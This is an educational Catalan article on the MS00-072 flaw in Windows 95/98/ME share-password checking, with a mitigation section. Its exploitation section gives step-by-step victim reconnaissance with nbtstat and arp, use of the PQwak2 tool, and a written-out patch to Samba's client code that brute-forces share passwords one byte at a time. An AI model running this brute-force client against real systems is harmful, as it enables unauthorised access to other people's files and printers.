EL RACÓ DE L'EXPLOIT

 

per Àlex Castán Salinas
acastan@xtec.net

 

*--------------------*
|                    |
|  El teu ordinador  |
|      és mort...    |
| i abans estava viu |
|     _______        |
|    |.-----.|       |
|    ||x . x||       |
|    ||_.-._||       |
|    `--)-(--'       |
|   __[=== o]___     |
|  |:::::::::::|\    |
|  `-=========-'()   |
|                    |
| No hauries d'haver |
|    instal·lat :    |
|                    |
|  -= M$'Windows =-  |
*--------------------*

 

 

 

Vulnerabilitat: comprovació incorrecta de contrasenya a NetBIOS.

 

Afecta a: Windows 95, 98 i ME.

No afecta a: Windows NT 4.0 i Windows 2000.

 

Text elaborat a partir d'un missatge enviat per l'empresa NSFOCUS a la llista de distribució sobre seguretat Bugtraq: http://www.securityfocus.com/bid/1780

Degut a una greu errada a la implementació de Microsoft del protocol NetBIOS, qualsevol atacant pot accedir fàcilment als recursos compartits (fitxers, carpetes i impressores) malgrat la protecció mitjançant contrasenya d'aquests.

 

Introducció

A Windows 95, 98 i ME els recursos compartits poden protegir-se mitjançant contrasenya, per tal que només puguin accedir-hi els usuaris que coneguin aquesta. En canvi, a Windows NT i 2000, per accedir als recursos compartits es poden establir controls basats en permisos d'usuaris millor que en contrasenyes i, per lo tant, aquests no són susceptibles d'aquesta vulnerabilitat.

 

Vulnerabilitat

I que passa amb la protecció mitjançant contrasenya dels recursos compartits? Doncs passa que una vulnerabilitat a la part de verificació de contrasenyes (protocol CIFS) fa que només es comparin les contrasenyes en la longitud especificada per l'ordinador que vol accedir al recurs (client) i no en la longitud especificada per l'ordinador que comparteix el recurs (servidor). Per lo tant un usuari maliciós pot accedir a qualsevol recurs compartit sense necessitat de conèixer la contrasenya sencera assignada a aquest recurs. Per exemple: si es protegeix un recurs compartit amb la contrasenya PEP, es pot accedir a aquest enviant com a contrasenyes P, PE i PEP. Així, a l'usuari maliciós només li cal establir com a longitud de contrasenya un byte i provar els 256 possibles valors per accedir al recurs compartit. A més a més, com a màxim només li caldrien (256*longitud_contrasenya) intents per obtenir la contrasenya original.

Podeu aprendre molt més sobre NetBIOS i el protocol CIFS al següents documents:

- http://www.faqs.org/rfcs/rfc1001.html

- http://www.faqs.org/rfcs/rfc1002.html

- http://www.packetstormsecurity.org/docs/infosec/cifs.txt

- http://www.phrack.org/phrack/60/p60-0x0b.txt

 

Com explotar la vulnerabilitat

Si feu proves del que acabo d'explicar amb dos ordinadors connectats en xarxa, comprovareu que amb el mètode anterior no podeu accedir als recursos compartits protegits mitjançant contrasenya. Això és degut a que el programa client que utilitzeu per accedir al recurs compartit no està preparat. Haurem d'emprar un programa client propi:

 

1. Si intenteu accedir des d'un ordinador amb sistema operatiu Windows, el més ràpid és que feu servir el programa PQwak2, escrit per Shane Hird. Trobareu aquest programa a algun magatzem de fitxers dedicat al hacking, com per exemple http://www.packetstormsecurity.org/.

Per fer servir PQwak2, els passos son els següents:

- Si la víctima és a la vostra xarxa local, cerqueu la icona d'entorn de xarxa al vostre escriptori. Accediu i busqueu dins la xarxa una màquina víctima amb recursos compartits mitjançant contrasenya.

- Obtenir l'adreça IP de la víctima escrivint a la línia de comandes "nbtstat -a nom_víctima" i desprès "nbtstat -c". Si això no funciona "arp -a" i cercar l'adreça MAC que coincideix amb l'adreça física aconseguida amb "nbtstat -a hostname". Si encara això no funcionés, connecteu-vos a la víctima i escriviu "netstat -an".

- Obtenir el nom de xarxa de la víctima, que normalment coincideix amb el nom que apareix a l'entorn de xarxa (NetBIOS). Un cop sabeu l'adreça IP de la víctima, podeu escriure "nbtstat -A IP_víctima" i obtindreu el nom (servei <20>).

- Obtenir el nom del recurs compartit de la víctima.

- Establir el temps entre prova i prova de contrasenya, per tal de deixar prou temps per rebre una resposta de la víctima. Per una xarxa local un valor entre 50 i 100 és prou, però per un ordinador a Internet millor proveu amb un valor de 1000 o superior.

 

2. Si feu servir altre sistema operatiu (Linux, FreeBSD, etc.) el més senzill és aconseguir el codi font d'un client ja fet (Samba) i modificar-lo segons les nostres necessitats.

- Connecteu-vos a Internet i baixeu l'últim codi font de Samba a http://www.samba.org/.

- Descomprimiu-lo:

$ tar zxvf samba-2.0.7.tar.gz

- El codi a modificar hi es al fitxer samba-2.0.7/source/client/client.c

- Cerqueu dins el fitxer la funció "do_connect", que intenta establir una connexió:

struct cli_state *do_connect(char *server, char *share)

- Declareu tres noves variables:

int i; char contrasenya[14+1] = ""; BOOL connexio;

- El codi a canviar està entre les línies DEBUG(4,(" session setup ok\n")) i DEBUG(4,(" tconx ok\n")).

/* * Aquest codi cal treure-ho o posar-ho com a comentari !!! * * if (!cli_send_tconX(c, share, "?????", password, strlen(password)+1)) { * DEBUG(0,("tree connect failed: %s\n", cli_errstr(c))); * cli_shutdown(c); * return NULL; * } */ /* Enviem la contrasenya sense encriptar */ /* (Security mode: bit 0: 0 = share, 1 = user; bit 1: 1 = encrypt passwords) */ c->sec_mode = 0; /* La longitud màxima de la contrasenya sense encriptar és de 14 caràcters */ for (i=0, connexio=True; connexio && (i<14); i++) for (contrasenya[i] = 1, connexio=False; (contrasenya[i] != 0) && !(connexio=cli_send_tconX(c, share, "?????", contrasenya, i+1)); contrasenya[i]++); if (strlen(contrasenya)>0) DEBUG(0, ("Contrasenya: %s\n", contrasenya)); else { DEBUG(0,("tree connect failed: %s\n", cli_errstr(c))); cli_shutdown(c); return NULL; }

- Compilar i instal·lar Samba:

./configure make make install

- Obtenir el nom dels recursos compartits d'una víctima:

$./smbclient -L nom_victima -N

- Connectar-se amb el nou client al recurs compartit de la víctima:

$./smbclient \\\\nom_victima\\nom_recurs -N

 

El pegat

Tenim varies solucions per aquesta vulnerabilitat:

- Microsoft ha tret un pegat per aquesta vulnerabilitat, que trobareu a http://www.microsoft.com/technet/security/bulletin/MS00-072.mspx. Però aquest pegat de moment només funciona per a les versions de Windows en anglès!!!

- Mentrestant podeu inhabilitar la compartició de recursos a Windows 95, 98 i ME.

- També podeu fer servir un control d'accés a recursos basat en permisos d'usuaris millor que en contrasenyes. Encara millor si s'utilitza Windows NT o 2000 com servidors de fitxers.


Copyleft © Alejandro Castán Salinas

Es concedeix el permís per copiar, distribuir i/o modificar aquest document sota els termes de la llicència de documentació lliure GNU, versió 1.2 o qualsevol altra versió posterior publicada per la Free Software Foundation.

Podeu consultar dita llicència a http://www.gnu.org/copyleft/fdl.html.

 

El contingut d'aquest document pot canviar degut a ampliacions i a correccions enviades pels lectors. Trobareu sempre la ultima versió del document a http://www.xtec.net/~acastan/textos/index.html.